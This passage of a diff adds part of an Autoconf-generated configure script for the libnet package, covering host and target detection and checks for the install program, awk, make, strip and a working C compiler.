+ { { echo "$as_me:$LINENO: error: $ac_config_sub $ac_cv_host_alias failed" >&5
+echo "$as_me: error: $ac_config_sub $ac_cv_host_alias failed" >&2;}
+ { (exit 1); exit 1; }; }
+
+fi
+echo "$as_me:$LINENO: result: $ac_cv_host" >&5
+echo "${ECHO_T}$ac_cv_host" >&6
+host=$ac_cv_host
+host_cpu=`echo $ac_cv_host | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\1/'`
+host_vendor=`echo $ac_cv_host | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\2/'`
+host_os=`echo $ac_cv_host | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\3/'`
+
+
+echo "$as_me:$LINENO: checking target system type" >&5
+echo $ECHO_N "checking target system type... $ECHO_C" >&6
+if test "${ac_cv_target+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ ac_cv_target_alias=$target_alias
+test "x$ac_cv_target_alias" = "x" &&
+ ac_cv_target_alias=$ac_cv_host_alias
+ac_cv_target=`$ac_config_sub $ac_cv_target_alias` ||
+ { { echo "$as_me:$LINENO: error: $ac_config_sub $ac_cv_target_alias failed" >&5
+echo "$as_me: error: $ac_config_sub $ac_cv_target_alias failed" >&2;}
+ { (exit 1); exit 1; }; }
+
+fi
+echo "$as_me:$LINENO: result: $ac_cv_target" >&5
+echo "${ECHO_T}$ac_cv_target" >&6
+target=$ac_cv_target
+target_cpu=`echo $ac_cv_target | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\1/'`
+target_vendor=`echo $ac_cv_target | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\2/'`
+target_os=`echo $ac_cv_target | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\3/'`
+
+
+# The aliases save the names the user supplied, while $host etc.
+# will get canonicalized.
+test -n "$target_alias" &&
+ test "$program_prefix$program_suffix$program_transform_name" = \
+ NONENONEs,x,x, &&
+ program_prefix=${target_alias}-
+
+am__api_version="1.6"
+# Find a good install program. We prefer a C program (faster),
+# so one script is as good as another. But avoid the broken or
+# incompatible versions:
+# SysV /etc/install, /usr/sbin/install
+# SunOS /usr/etc/install
+# IRIX /sbin/install
+# AIX /bin/install
+# AmigaOS /C/install, which installs bootblocks on floppy discs
+# AIX 4 /usr/bin/installbsd, which doesn't work without a -g flag
+# AFS /usr/afsws/bin/install, which mishandles nonexistent args
+# SVR4 /usr/ucb/install, which tries to use the nonexistent group "staff"
+# ./install, which can be erroneously created by make from ./install.sh.
+echo "$as_me:$LINENO: checking for a BSD-compatible install" >&5
+echo $ECHO_N "checking for a BSD-compatible install... $ECHO_C" >&6
+if test -z "$INSTALL"; then
+if test "${ac_cv_path_install+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+ IFS=$as_save_IFS
+ test -z "$as_dir" && as_dir=.
+ # Account for people who put trailing slashes in PATH elements.
+case $as_dir/ in
+ ./ | .// | /cC/* | \
+ /etc/* | /usr/sbin/* | /usr/etc/* | /sbin/* | /usr/afsws/bin/* | \
+ /usr/ucb/* ) ;;
+ *)
+ # OSF1 and SCO ODT 3.0 have their own names for install.
+ # Don't use installbsd from OSF since it installs stuff as root
+ # by default.
+ for ac_prog in ginstall scoinst install; do
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if $as_executable_p "$as_dir/$ac_prog$ac_exec_ext"; then
+ if test $ac_prog = install &&
+ grep dspmsg "$as_dir/$ac_prog$ac_exec_ext" >/dev/null 2>&1; then
+ # AIX install. It has an incompatible calling convention.
+ :
+ elif test $ac_prog = install &&
+ grep pwplus "$as_dir/$ac_prog$ac_exec_ext" >/dev/null 2>&1; then
+ # program-specific install script used by HP pwplus--don't use.
+ :
+ else
+ ac_cv_path_install="$as_dir/$ac_prog$ac_exec_ext -c"
+ break 3
+ fi
+ fi
+ done
+ done
+ ;;
+esac
+done
+
+
+fi
+ if test "${ac_cv_path_install+set}" = set; then
+ INSTALL=$ac_cv_path_install
+ else
+ # As a last resort, use the slow shell script. We don't cache a
+ # path for INSTALL within a source directory, because that will
+ # break other packages using the cache if that directory is
+ # removed, or if the path is relative.
+ INSTALL=$ac_install_sh
+ fi
+fi
+echo "$as_me:$LINENO: result: $INSTALL" >&5
+echo "${ECHO_T}$INSTALL" >&6
+
+# Use test -z because SunOS4 sh mishandles braces in ${var-val}.
+# It thinks the first close brace ends the variable substitution.
+test -z "$INSTALL_PROGRAM" && INSTALL_PROGRAM='${INSTALL}'
+
+test -z "$INSTALL_SCRIPT" && INSTALL_SCRIPT='${INSTALL}'
+
+test -z "$INSTALL_DATA" && INSTALL_DATA='${INSTALL} -m 644'
+
+echo "$as_me:$LINENO: checking whether build environment is sane" >&5
+echo $ECHO_N "checking whether build environment is sane... $ECHO_C" >&6
+# Just in case
+sleep 1
+echo timestamp > conftest.file
+# Do `set' in a subshell so we don't clobber the current shell's
+# arguments. Must try -L first in case configure is actually a
+# symlink; some systems play weird games with the mod time of symlinks
+# (eg FreeBSD returns the mod time of the symlink's containing
+# directory).
+if (
+ set X `ls -Lt $srcdir/configure conftest.file 2> /dev/null`
+ if test "$*" = "X"; then
+ # -L didn't work.
+ set X `ls -t $srcdir/configure conftest.file`
+ fi
+ rm -f conftest.file
+ if test "$*" != "X $srcdir/configure conftest.file" \
+ && test "$*" != "X conftest.file $srcdir/configure"; then
+
+ # If neither matched, then we have a broken ls. This can happen
+ # if, for instance, CONFIG_SHELL is bash and it inherits a
+ # broken ls alias from the environment. This has actually
+ # happened. Such a system could not be considered "sane".
+ { { echo "$as_me:$LINENO: error: ls -t appears to fail. Make sure there is not a broken
+alias in your environment" >&5
+echo "$as_me: error: ls -t appears to fail. Make sure there is not a broken
+alias in your environment" >&2;}
+ { (exit 1); exit 1; }; }
+ fi
+
+ test "$2" = conftest.file
+ )
+then
+ # Ok.
+ :
+else
+ { { echo "$as_me:$LINENO: error: newly created file is older than distributed files!
+Check your system clock" >&5
+echo "$as_me: error: newly created file is older than distributed files!
+Check your system clock" >&2;}
+ { (exit 1); exit 1; }; }
+fi
+echo "$as_me:$LINENO: result: yes" >&5
+echo "${ECHO_T}yes" >&6
+test "$program_prefix" != NONE &&
+ program_transform_name="s,^,$program_prefix,;$program_transform_name"
+# Use a double $ so make ignores it.
+test "$program_suffix" != NONE &&
+ program_transform_name="s,\$,$program_suffix,;$program_transform_name"
+# Double any \ or $. echo might interpret backslashes.
+# By default was `s,x,x', remove it if useless.
+cat <<\_ACEOF >conftest.sed
+s/[\\$]/&&/g;s/;s,x,x,$//
+_ACEOF
+program_transform_name=`echo $program_transform_name | sed -f conftest.sed`
+rm conftest.sed
+
+
+# expand $ac_aux_dir to an absolute path
+am_aux_dir=`cd $ac_aux_dir && pwd`
+
+test x"${MISSING+set}" = xset || MISSING="\${SHELL} $am_aux_dir/missing"
+# Use eval to expand $SHELL
+if eval "$MISSING --run true"; then
+ am_missing_run="$MISSING --run "
+else
+ am_missing_run=
+ { echo "$as_me:$LINENO: WARNING: \`missing' script is too old or missing" >&5
+echo "$as_me: WARNING: \`missing' script is too old or missing" >&2;}
+fi
+
+for ac_prog in gawk mawk nawk awk
+do
+ # Extract the first word of "$ac_prog", so it can be a program name with args.
+set dummy $ac_prog; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_AWK+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ if test -n "$AWK"; then
+ ac_cv_prog_AWK="$AWK" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+ IFS=$as_save_IFS
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+ ac_cv_prog_AWK="$ac_prog"
+ echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+done
+done
+
+fi
+fi
+AWK=$ac_cv_prog_AWK
+if test -n "$AWK"; then
+ echo "$as_me:$LINENO: result: $AWK" >&5
+echo "${ECHO_T}$AWK" >&6
+else
+ echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+ test -n "$AWK" && break
+done
+
+echo "$as_me:$LINENO: checking whether ${MAKE-make} sets \$(MAKE)" >&5
+echo $ECHO_N "checking whether ${MAKE-make} sets \$(MAKE)... $ECHO_C" >&6
+set dummy ${MAKE-make}; ac_make=`echo "$2" | sed 'y,./+-,__p_,'`
+if eval "test \"\${ac_cv_prog_make_${ac_make}_set+set}\" = set"; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ cat >conftest.make <<\_ACEOF
+all:
+ @echo 'ac_maketemp="$(MAKE)"'
+_ACEOF
+# GNU make sometimes prints "make[1]: Entering...", which would confuse us.
+eval `${MAKE-make} -f conftest.make 2>/dev/null | grep temp=`
+if test -n "$ac_maketemp"; then
+ eval ac_cv_prog_make_${ac_make}_set=yes
+else
+ eval ac_cv_prog_make_${ac_make}_set=no
+fi
+rm -f conftest.make
+fi
+if eval "test \"`echo '$ac_cv_prog_make_'${ac_make}_set`\" = yes"; then
+ echo "$as_me:$LINENO: result: yes" >&5
+echo "${ECHO_T}yes" >&6
+ SET_MAKE=
+else
+ echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+ SET_MAKE="MAKE=${MAKE-make}"
+fi
+
+ # test to see if srcdir already configured
+if test "`cd $srcdir && pwd`" != "`pwd`" &&
+ test -f $srcdir/config.status; then
+ { { echo "$as_me:$LINENO: error: source directory already configured; run \"make distclean\" there first" >&5
+echo "$as_me: error: source directory already configured; run \"make distclean\" there first" >&2;}
+ { (exit 1); exit 1; }; }
+fi
+
+# Define the identity of the package.
+ PACKAGE=libnet
+ VERSION=$LIBNET_VERSION
+
+
+cat >>confdefs.h <<_ACEOF
+#define PACKAGE "$PACKAGE"
+_ACEOF
+
+
+cat >>confdefs.h <<_ACEOF
+#define VERSION "$VERSION"
+_ACEOF
+
+# Some tools Automake needs.
+
+ACLOCAL=${ACLOCAL-"${am_missing_run}aclocal-${am__api_version}"}
+
+
+AUTOCONF=${AUTOCONF-"${am_missing_run}autoconf"}
+
+
+AUTOMAKE=${AUTOMAKE-"${am_missing_run}automake-${am__api_version}"}
+
+
+AUTOHEADER=${AUTOHEADER-"${am_missing_run}autoheader"}
+
+
+MAKEINFO=${MAKEINFO-"${am_missing_run}makeinfo"}
+
+
+AMTAR=${AMTAR-"${am_missing_run}tar"}
+
+install_sh=${install_sh-"$am_aux_dir/install-sh"}
+
+# Installed binaries are usually stripped using `strip' when the user
+# run `make install-strip'. However `strip' might not be the right
+# tool to use in cross-compilation environments, therefore Automake
+# will honor the `STRIP' environment variable to overrule this program.
+if test "$cross_compiling" != no; then
+ if test -n "$ac_tool_prefix"; then
+ # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args.
+set dummy ${ac_tool_prefix}strip; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_STRIP+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ if test -n "$STRIP"; then
+ ac_cv_prog_STRIP="$STRIP" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+ IFS=$as_save_IFS
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+ ac_cv_prog_STRIP="${ac_tool_prefix}strip"
+ echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+done
+done
+
+fi
+fi
+STRIP=$ac_cv_prog_STRIP
+if test -n "$STRIP"; then
+ echo "$as_me:$LINENO: result: $STRIP" >&5
+echo "${ECHO_T}$STRIP" >&6
+else
+ echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+fi
+if test -z "$ac_cv_prog_STRIP"; then
+ ac_ct_STRIP=$STRIP
+ # Extract the first word of "strip", so it can be a program name with args.
+set dummy strip; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_ac_ct_STRIP+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ if test -n "$ac_ct_STRIP"; then
+ ac_cv_prog_ac_ct_STRIP="$ac_ct_STRIP" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+ IFS=$as_save_IFS
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+ ac_cv_prog_ac_ct_STRIP="strip"
+ echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+done
+done
+
+ test -z "$ac_cv_prog_ac_ct_STRIP" && ac_cv_prog_ac_ct_STRIP=":"
+fi
+fi
+ac_ct_STRIP=$ac_cv_prog_ac_ct_STRIP
+if test -n "$ac_ct_STRIP"; then
+ echo "$as_me:$LINENO: result: $ac_ct_STRIP" >&5
+echo "${ECHO_T}$ac_ct_STRIP" >&6
+else
+ echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+ STRIP=$ac_ct_STRIP
+else
+ STRIP="$ac_cv_prog_STRIP"
+fi
+
+fi
+INSTALL_STRIP_PROGRAM="\${SHELL} \$(install_sh) -c -s"
+
+# We need awk for the "check" target. The system "awk" is bad on
+# some platforms.
+
+
+
+# Add the stamp file to the list of files AC keeps track of,
+# along with our hook.
+ ac_config_headers="$ac_config_headers include/config.h"
+
+
+
+echo "$as_me:$LINENO: checking whether to enable maintainer-specific portions of Makefiles" >&5
+echo $ECHO_N "checking whether to enable maintainer-specific portions of Makefiles... $ECHO_C" >&6
+ # Check whether --enable-maintainer-mode or --disable-maintainer-mode was given.
+if test "${enable_maintainer_mode+set}" = set; then
+ enableval="$enable_maintainer_mode"
+ USE_MAINTAINER_MODE=$enableval
+else
+ USE_MAINTAINER_MODE=no
+fi;
+ echo "$as_me:$LINENO: result: $USE_MAINTAINER_MODE" >&5
+echo "${ECHO_T}$USE_MAINTAINER_MODE" >&6
+
+
+if test $USE_MAINTAINER_MODE = yes; then
+ MAINTAINER_MODE_TRUE=
+ MAINTAINER_MODE_FALSE='#'
+else
+ MAINTAINER_MODE_TRUE='#'
+ MAINTAINER_MODE_FALSE=
+fi
+
+ MAINT=$MAINTAINER_MODE_TRUE
+
+
+
+ac_ext=c
+ac_cpp='$CPP $CPPFLAGS'
+ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
+ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
+ac_compiler_gnu=$ac_cv_c_compiler_gnu
+if test -n "$ac_tool_prefix"; then
+ # Extract the first word of "${ac_tool_prefix}gcc", so it can be a program name with args.
+set dummy ${ac_tool_prefix}gcc; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_CC+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ if test -n "$CC"; then
+ ac_cv_prog_CC="$CC" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+ IFS=$as_save_IFS
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+ ac_cv_prog_CC="${ac_tool_prefix}gcc"
+ echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+done
+done
+
+fi
+fi
+CC=$ac_cv_prog_CC
+if test -n "$CC"; then
+ echo "$as_me:$LINENO: result: $CC" >&5
+echo "${ECHO_T}$CC" >&6
+else
+ echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+fi
+if test -z "$ac_cv_prog_CC"; then
+ ac_ct_CC=$CC
+ # Extract the first word of "gcc", so it can be a program name with args.
+set dummy gcc; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_ac_ct_CC+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ if test -n "$ac_ct_CC"; then
+ ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+ IFS=$as_save_IFS
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+ ac_cv_prog_ac_ct_CC="gcc"
+ echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+done
+done
+
+fi
+fi
+ac_ct_CC=$ac_cv_prog_ac_ct_CC
+if test -n "$ac_ct_CC"; then
+ echo "$as_me:$LINENO: result: $ac_ct_CC" >&5
+echo "${ECHO_T}$ac_ct_CC" >&6
+else
+ echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+ CC=$ac_ct_CC
+else
+ CC="$ac_cv_prog_CC"
+fi
+
+if test -z "$CC"; then
+ if test -n "$ac_tool_prefix"; then
+ # Extract the first word of "${ac_tool_prefix}cc", so it can be a program name with args.
+set dummy ${ac_tool_prefix}cc; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_CC+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ if test -n "$CC"; then
+ ac_cv_prog_CC="$CC" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+ IFS=$as_save_IFS
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+ ac_cv_prog_CC="${ac_tool_prefix}cc"
+ echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+done
+done
+
+fi
+fi
+CC=$ac_cv_prog_CC
+if test -n "$CC"; then
+ echo "$as_me:$LINENO: result: $CC" >&5
+echo "${ECHO_T}$CC" >&6
+else
+ echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+fi
+if test -z "$ac_cv_prog_CC"; then
+ ac_ct_CC=$CC
+ # Extract the first word of "cc", so it can be a program name with args.
+set dummy cc; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_ac_ct_CC+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ if test -n "$ac_ct_CC"; then
+ ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+ IFS=$as_save_IFS
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+ ac_cv_prog_ac_ct_CC="cc"
+ echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+done
+done
+
+fi
+fi
+ac_ct_CC=$ac_cv_prog_ac_ct_CC
+if test -n "$ac_ct_CC"; then
+ echo "$as_me:$LINENO: result: $ac_ct_CC" >&5
+echo "${ECHO_T}$ac_ct_CC" >&6
+else
+ echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+ CC=$ac_ct_CC
+else
+ CC="$ac_cv_prog_CC"
+fi
+
+fi
+if test -z "$CC"; then
+ # Extract the first word of "cc", so it can be a program name with args.
+set dummy cc; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_CC+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ if test -n "$CC"; then
+ ac_cv_prog_CC="$CC" # Let the user override the test.
+else
+ ac_prog_rejected=no
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+ IFS=$as_save_IFS
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+ if test "$as_dir/$ac_word$ac_exec_ext" = "/usr/ucb/cc"; then
+ ac_prog_rejected=yes
+ continue
+ fi
+ ac_cv_prog_CC="cc"
+ echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+done
+done
+
+if test $ac_prog_rejected = yes; then
+ # We found a bogon in the path, so make sure we never use it.
+ set dummy $ac_cv_prog_CC
+ shift
+ if test $# != 0; then
+ # We chose a different compiler from the bogus one.
+ # However, it has the same basename, so the bogon will be chosen
+ # first if we set CC to just the basename; use the full file name.
+ shift
+ ac_cv_prog_CC="$as_dir/$ac_word${1+' '}$@"
+ fi
+fi
+fi
+fi
+CC=$ac_cv_prog_CC
+if test -n "$CC"; then
+ echo "$as_me:$LINENO: result: $CC" >&5
+echo "${ECHO_T}$CC" >&6
+else
+ echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+fi
+if test -z "$CC"; then
+ if test -n "$ac_tool_prefix"; then
+ for ac_prog in cl
+ do
+ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
+set dummy $ac_tool_prefix$ac_prog; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_CC+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ if test -n "$CC"; then
+ ac_cv_prog_CC="$CC" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+ IFS=$as_save_IFS
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+ ac_cv_prog_CC="$ac_tool_prefix$ac_prog"
+ echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+done
+done
+
+fi
+fi
+CC=$ac_cv_prog_CC
+if test -n "$CC"; then
+ echo "$as_me:$LINENO: result: $CC" >&5
+echo "${ECHO_T}$CC" >&6
+else
+ echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+ test -n "$CC" && break
+ done
+fi
+if test -z "$CC"; then
+ ac_ct_CC=$CC
+ for ac_prog in cl
+do
+ # Extract the first word of "$ac_prog", so it can be a program name with args.
+set dummy $ac_prog; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_ac_ct_CC+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ if test -n "$ac_ct_CC"; then
+ ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+ IFS=$as_save_IFS
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+ ac_cv_prog_ac_ct_CC="$ac_prog"
+ echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+done
+done
+
+fi
+fi
+ac_ct_CC=$ac_cv_prog_ac_ct_CC
+if test -n "$ac_ct_CC"; then
+ echo "$as_me:$LINENO: result: $ac_ct_CC" >&5
+echo "${ECHO_T}$ac_ct_CC" >&6
+else
+ echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+ test -n "$ac_ct_CC" && break
+done
+
+ CC=$ac_ct_CC
+fi
+
+fi
+
+
+test -z "$CC" && { { echo "$as_me:$LINENO: error: no acceptable C compiler found in \$PATH
+See \`config.log' for more details." >&5
+echo "$as_me: error: no acceptable C compiler found in \$PATH
+See \`config.log' for more details." >&2;}
+ { (exit 1); exit 1; }; }
+
+# Provide some information about the compiler.
+echo "$as_me:$LINENO:" \
+ "checking for C compiler version" >&5
+ac_compiler=`set X $ac_compile; echo $2`
+{ (eval echo "$as_me:$LINENO: \"$ac_compiler --version </dev/null >&5\"") >&5
+ (eval $ac_compiler --version </dev/null >&5) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }
+{ (eval echo "$as_me:$LINENO: \"$ac_compiler -v </dev/null >&5\"") >&5
+ (eval $ac_compiler -v </dev/null >&5) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }
+{ (eval echo "$as_me:$LINENO: \"$ac_compiler -V </dev/null >&5\"") >&5
+ (eval $ac_compiler -V </dev/null >&5) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }
+
+cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+
+int
+main ()
+{
+
+ ;
+ return 0;
+}
+_ACEOF
+ac_clean_files_save=$ac_clean_files
+ac_clean_files="$ac_clean_files a.out a.exe b.out"
+# Try to create an executable without -o first, disregard a.out.
+# It will help us diagnose broken compilers, and finding out an intuition
+# of exeext.
+echo "$as_me:$LINENO: checking for C compiler default output" >&5
+echo $ECHO_N "checking for C compiler default output... $ECHO_C" >&6
+ac_link_default=`echo "$ac_link" | sed 's/ -o *conftest[^ ]*//'`
+if { (eval echo "$as_me:$LINENO: \"$ac_link_default\"") >&5
+ (eval $ac_link_default) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; then
+ # Find the output, starting from the most likely. This scheme is
+# not robust to junk in `.', hence go to wildcards (a.*) only as a last
+# resort.
+
+# Be careful to initialize this variable, since it used to be cached.
+# Otherwise an old cache value of `no' led to `EXEEXT = no' in a Makefile.
+ac_cv_exeext=
+# b.out is created by i960 compilers.
+for ac_file in a_out.exe a.exe conftest.exe a.out conftest a.* conftest.* b.out
+do
+ test -f "$ac_file" || continue
+ case $ac_file in
+ *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.o | *.obj )
+ ;;
+ conftest.$ac_ext )
+ # This is the source file.
+ ;;
+ [ab].out )
+ # We found the default executable, but exeext='' is most
+ # certainly right.
+ break;;
+ *.* )
+ ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'`
+ # FIXME: I believe we export ac_cv_exeext for Libtool,
+ # but it would be cool to find out if it's true. Does anybody
+ # maintain Libtool? --akim.
+ export ac_cv_exeext
+ break;;
+ * )
+ break;;
+ esac
+done
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+{ { echo "$as_me:$LINENO: error: C compiler cannot create executables
+See \`config.log' for more details." >&5
+echo "$as_me: error: C compiler cannot create executables
+See \`config.log' for more details." >&2;}
+ { (exit 77); exit 77; }; }
+fi
+
+ac_exeext=$ac_cv_exeext
+echo "$as_me:$LINENO: result: $ac_file" >&5
+echo "${ECHO_T}$ac_file" >&6
+
+# Check the compiler produces executables we can run. If not, either
+# the compiler is broken, or we cross compile.
+echo "$as_me:$LINENO: checking whether the C compiler works" >&5
+echo $ECHO_N "checking whether the C compiler works... $ECHO_C" >&6
+# FIXME: These cross compiler hacks should be removed for Autoconf 3.0
+# If not cross compiling, check that we can run a simple program.
+if test "$cross_compiling" != yes; then
+ if { ac_try='./$ac_file'
+ { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+ (eval $ac_try) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; }; then
+ cross_compiling=no
+ else
+ if test "$cross_compiling" = maybe; then
+ cross_compiling=yes
+ else
+ { { echo "$as_me:$LINENO: error: cannot run C compiled programs.
+If you meant to cross compile, use \`--host'.
+See \`config.log' for more details." >&5
+echo "$as_me: error: cannot run C compiled programs.
+If you meant to cross compile, use \`--host'.
+See \`config.log' for more details." >&2;}
+ { (exit 1); exit 1; }; }
+ fi
+ fi
+fi
+echo "$as_me:$LINENO: result: yes" >&5
+echo "${ECHO_T}yes" >&6
+
